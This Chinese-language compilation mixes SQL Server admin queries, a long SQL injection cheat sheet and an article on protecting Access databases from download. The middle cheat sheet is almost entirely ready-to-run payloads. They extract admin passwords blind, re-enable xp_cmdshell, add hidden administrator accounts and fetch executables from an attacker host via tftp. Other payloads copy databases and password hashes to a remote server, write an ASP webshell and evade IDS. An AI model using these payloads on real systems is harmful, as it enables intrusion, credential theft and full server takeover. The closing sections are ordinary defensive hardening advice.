LEFT JOIN SysComments as M
ON ( M.id = A.cdefault and ObjectProperty(A.cdefault, 'IsConstraint') = 1 )
ORDER BY A.Colid ASC

11.2..提取数据库内所有表的字段详细说明的SQL语句
SELECT
(case when a.colorder=1 then d.name else '' end) N'表名',
a.colorder N'字段序号',
a.name N'字段名',
(case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else ''
end) N'标识',
(case when (SELECT count(*)
FROM sysobjects
WHERE (name in
(SELECT name
FROM sysindexes
WHERE (id = a.id) AND (indid in
(SELECT indid
FROM sysindexkeys
WHERE (id = a.id) AND (colid in
(SELECT colid
FROM syscolumns
WHERE (id = a.id) AND (name = a.name))))))) AND
(xtype = 'PK'))>0 then '√' else '' end) N'主键',
b.name N'类型',
a.length N'占用字节数',
COLUMNPROPERTY(a.id,a.name,'PRECISION') as N'长度',
isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as N'小数位数',
(case when a.isnullable=1 then '√'else '' end) N'允许空',
isnull(e.text,'') N'默认值',
isnull(g.[value],'') AS N'字段说明'
FROM syscolumns a
left join systypes b
on a.xtype=b.xusertype
inner join sysobjects d
on a.id=d.id and d.xtype='U' and d.name<>'dtproperties'
left join syscomments e
on a.cdefault=e.id
left join sysproperties g
on a.id=g.id AND a.colid = g.smallid
order by object_name(a.id),a.colorder
11.3.快速获取表test的记录总数[对大容量表非常有效]
快速获取表test的记录总数:
select rows from sysindexes where id = object_id(‘test’) and indid in (0,1)
update 2 set KHXH=(ID+1)\2 2行递增编号
update [23] set id1 = 'No.'+right('00000000'+id,6) where id not like 'No%' //递增
update [23] set id1= 'No.'+right('00000000'+replace(id1,'No.',''),6) //补位递增
delete from [1] where (id%2)=1
奇数
替换表名字段
update [1] set domurl = replace(domurl,'Upload/Imgswf/','Upload/Photo/') where domurl like '%Upload/Imgswf/%'
截位
SELECT LEFT(表名, 5)


标准注入语句

信息来源：www.syue.org
1.判断有无注入点
; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限，返回正常，证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘：
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
访问属性：（配合写入一个webshell）
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程：
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表（HASH）登录_blank>密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
语句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录：下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_blank>_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！


数据库暴库整理篇

来源:影子鹰安全网
引子：昨天和animator试验了一下，把data.mdb文件改名为data.asp文件后放在wwwroot目录里。然后在IE中输入data.asp路径后，发现IE显示一片空白，右键->察看源文件，跳出记事本，将内容另存为.mdb文件，用ACCESS打开，发现需要密码，也就是说至少文件头被破坏。
然后用Flashget试验下载data.asp文件，并另存为data.mdb文件，发现用ACCESS打开完好无损！！！看来，好一些编程人员在开发的时候都认为，改了mdb后缀为asp就能防下载的概念，是错的！后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章，归纳一下有以下9种办法防止数据库被下载(欢迎补充)：

1.发挥你的想象力 修改数据库文件名
不用说，这是最最偷懒的方法，但是若攻击者通过第三方途径获得了数据库的路径)，就玩完了。比如说攻击者本来只能拿到list权，结果意外看到了数据库路径，就可以冠冕堂皇地把数据库下载回去研究了。另外，数据文件通常大小都比较大，起再隐蔽的文件名都瞒不了人。故保密性为最低。

2.数据库名后缀改为ASA、ASP等
此法须配合一些要进行一些设置，否则就会出现本文开头的那种情况
(1)二进制字段添加(此招我还没有炼成-_-+)。
(2)在这个文件中加入<%或%>，IIS就会按ASP语法来解析，然后就会报告500错误，自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的，因为ACCESS会对其中的内容进行处理，在数据库里他会以< %的形式存在，无效！正确的方法是将<%存入OLE对象字段里，这样我们的目的就能达到了。
作方法：
首先，用notepad新建一个内容为 <% 的文本文件，随便起个名字存档。
    接着，用Access打开您的数据库文件，新建一个表，随便起个名字，在表中添加一个OLE对象的字段，然后添加一个记录，插入之前建立的文本文件，如果操作正确的话，应该可以看到一个新的名为“数据包＂的记录。即可

3.数据库名前加“#”
    只需要把数据库文件前名加上#、然后修改数据库连接文件（如conn.asp）中的数据库地址。原理是下载的时候只能识别 #号前名的部分，对于后面的自动去掉，比如你要下载：http://www.pcdigest.com/date/#123.mdb(假设存在的话）。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)
    另外在数据库文件名中保留一些空格也起到类似作用，由于HTTP协议对地址解析的特殊性，空格会被编码为"%",如http://www.test.com/date/123 ;456.mdb，下载的时http://www.test.com/date/123 %456.mdb。而我们的目录就根本没有123%456.mdb这个文件，所以下载也是无效的这样的修改后，即使你暴露了数据库地址，一般情况下别人也是无法下载！

4.加密数据库
    首先在选取"工具->安全->加密/解密数据库，选取数据库（如：employer.mdb），然后接确定，接着会出现"数据库加密后另存为"的窗口，存为：employer1.mdb。接着employer.mdb就会被编码，然后存为employer1.mdb..要注意的是，以上的动作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密，首先以打开经过编码了的 employer1.mdb，在打开时，选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码"， 接着输入密码即可。这样即使他人得到了employer1.mdb文件，没有密码他是无法看到 employer1.mdb的。
    加密后要修改数据库连接页， 如：
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq=数据库路径"
    这样修改后，数据库即使被人下载了，别人也无法打开（前提是你的数据库连接页中的密码没有被泄露）
    但值得注意的是，由于Access数据库的加密机制比较简单，即使设置了密码，解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行“异或”来形成一个加密串，并将其存储在*.mdb文件从地址“&H42”开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此，只要数据库被下载，其信息安全依然是个未知数。

5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
    如你的WEB目录是e:\webroot，可以把数据库放到e:\data这个文件夹里，在e:\webroot里的数据库连接页中修改数据库连接地址为："../data/数据库名" 的形式，这样数据库可以正常调用，但是无法下载的，因为它不在WEB目录里！这个方法一般也不适合购买虚拟空间的用户。

6.使用ODBC数据源。
    在ASP等程序设计中，如果有条件，应尽量使用ODBC数据源，不要把数据库名写在程序中，否则，数据库名将随ASP源代码的失密而一同失密，例如： DBPath = Server.MapPath(“../123/abc/asfadf.mdb ”)
conn.open “driver={Microsoft Access Driver (*.mdb)};dbq=”& DBPath
    可见，即使数据库名字起得再怪异，隐藏的目录再深，ASP源代码失密后，也很容易被下载下来。如果使用ODBC数据源，就不会存在这样的问题了： conn.open “ODBC-DSN名” ,不过这样是比较烦的，目录移动的话又要重新设置数据源了，更方便的方法请看第7，8法！

7.添加数据库名的如MDB的扩展映射
    这个方法就是通过修改IIS设置来实现，适合有IIS控制权的朋友，不适合购买虚拟主机用户(除非管理员已经设置了）。这个方法我认为是目前最好的。只要修改一处，整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
    我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL（或EXE等）似乎也不是任意的，选择不当，这个MDB文件还是可以被下载的， 注意最好不要选择选择asp.dll等。你可以自己多测试下
    这样修改后下载数据库如：http://www.test.com/data/dvbbs6.mdb。就出现（404或500等错误）
8：使用.net的优越性
    动网的木鸟就写过一个防非法下载文件的“WBAL 防盗链工具”。具体可以登陆http://www.9seek.com/WBAL/ ;
    不过 那个只实现了防止非本地下载的 ，没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件，实现本地也不能下载！
    这几个方法中，只有第7和8个是统一性改的，一次修改配置后，整个站点的数据库都可以防止下载，其他几个就要分别修改数据库名和连接文件，比较麻烦，不过对于虚拟主机的朋友也只能这样了！
    其实第6个方法应该是第5个方法的扩展，可以实现特殊的功能，但对于不支持.net的主机或者怕设置麻烦的话，还是直接用第5个方法了，而且默认情况下第6个方法，依然可以通过复制连接到同主机的论坛或留言本发表，然后就可以点击下载了（因为这样的引用页是来自同主机的）
9.利用NTFS分区的文件权限设置(by percyboy)
我们已经知道，ASP.NET 中使用 ADO.NET 访问数据库，通过 OleDb 的连接可以访问 Access 数据库——我们非常常用的低端数据库之一。本文讨论了 ASP.NET 中可能看到的若干错误提示，从中看到 Access 2000 和 Access XP 创建的数据库文件，在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是，希望通过此文，使大家对 ASP.NET 中 Access 数据库文件的 NTFS 权限设置有所新的认识。
(一)实验过程

为了叙述方便，举个具体例子做个实验：应用程序为 /test ，数据库存放在 D:\wwwroot\test\data\db1.mdb，我们已经知道在 ASP.NET 中是以一个叫做 ASPNET 虚拟用户的身份访问数据库的，我们需要给这个账户以特定的 NTFS 权限才能使 ASP.NET 程序正常运行。
为了得到最严格的 NTFS 权限设置，实验开始时我们给程序最低的 NTFS 权限：
a) D:\wwwroot\test\data\ 文件夹的给用户ASPNET以如下权限：
允许 拒绝
完全控制 □ □
修改 □ □
读取及运行 √ □
列出文件夹目录 √ □
读取 √ □
写入 □ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限：
√ 允许将来自父系的可继承权限传播给该对象
1.1 对于某个只包含有“SELECT”命令的aspx程序，上述权限设置运行时无障碍，即：上述权限已经满足这类程序的运行了。
1.2 对于包含有“UPDATE”“INSERT”“UPDATE”等命令的aspx程序，
(a) 如果 db1.mdb 是 Access 2000 创建的数据库，出现如下错误：
“/test”应用程序中的服务器错误。
---------------------------------------
Microsoft Jet 数据库引擎打不开文件’D:\wwwroot\test\data\’。 它已经被别的用户以独占方式打开，或没有查看数据的权限。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.OleDb.OleDbException: Microsoft Jet 数据库引擎打不开文件’D:\wwwroot\test\data\’。 它已经被别的用户以独占方式打开，或没有查看数据的权限。
(b) 如果 db1.mdb 是 Access XP 创建的数据库，出现如下错误：
“/test”应用程序中的服务器错误。
----------------------------------------------
操作必须使用一个可更新的查询。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.OleDb.OleDbException: 操作必须使用一个可更新的查询。
(c) 原因初步分析：因为包含有“UPDATE”“INSERT”“UPDATE”等命令，需要对数据库文件本身进行写入操作，所以上述权限不能满足此需求，我们需要进一步放开权限。
我们放开一些权限，
a) D:\wwwroot\test\data\ 文件夹不变：
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限：
允许 拒绝
完全控制 □ □
修改 □ □
读取及运行 √ □
列出文件夹目录 √ □
读取 √ □
写入 √ □
1.3 放开权限后继续实验，
(a) 如果 db1.mdb 是 Access 2000 创建的数据库，出现如下错误：
“/test”应用程序中的服务器错误。
------------------------------------------
不能锁定文件。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.OleDb.OleDbException: 不能锁定文件。
(b) 如果 db1.mdb 是 Access XP 创建的数据库，没有出现错误。
(c) 原因初步分析：我们发现在打开 Access 数据库时，同时会在所在目录生成一个同名的 *.ldb 文件，这是一个 Access 的锁定标记。鉴于此，我们猜测，用户 ASPNET 访问 Access 数据库时，也需要生成一个锁定标记，而该目录没有允许其写入，因此出错。至于 Access XP 创建的数据库为什么没有这个错误，原因还不得而知。
我们进一步放开权限，
a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限：
允许 拒绝
完全控制 □ □
修改 □ □
读取及运行 √ □
列出文件夹目录 √ □
读取 √ □
写入 √ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限：
√ 允许将来自父系的可继承权限传播给该对象
1.4 继续实验，发现错误已解决，那么上面这个权限就是我们需要放开的“最低权限”。
(a) 如果 db1.mdb 是 Access 2000 创建的数据库，我们会发现一个小问题：生成的 *.ldb 文件不会自己删除，访问后该文件依然存在，但这个问题不会影响 ASP.NET 的正常运行。
(b) 如果 db1.mdb 是 Access XP 创建的数据库，没有出现上面类似问题。
(c) 原因初步分析：我们仅仅是给了 ASPNET 以写入文件夹的权限，没有给它修改的权限，所以文件一旦写入，便无法修改其内容，*.ldb 也就删除不掉了。
如果非要解决这个问题，进一步放开权限为：
a) D:\wwwroot\test\data\ 文件夹给用户ASPNET以如下权限：
允许 拒绝
完全控制 □ □
修改 √ □
读取及运行 √ □
列出文件夹目录 √ □
读取 √ □
写入 √ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限：
√ 允许将来自父系的可继承权限传播给该对象
1.5 附带着，实验另一种情形：我们把 db1.mdb 在 Access 打开编辑，同时访问 ASP.NET。
(a) 如果 db1.mdb 是 Access 2000 创建的数据库，我们发现并没有出现什么问题。

(b) 如果 db1.mdb 是 Access XP 创建的数据库，出现如下错误：
“/zhao”应用程序中的服务器错误。
------------------------------------------------
不能使用 ’’；文件已在使用中。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Data.OleDb.OleDbException: 不能使用 ’’；文件已在使用中。
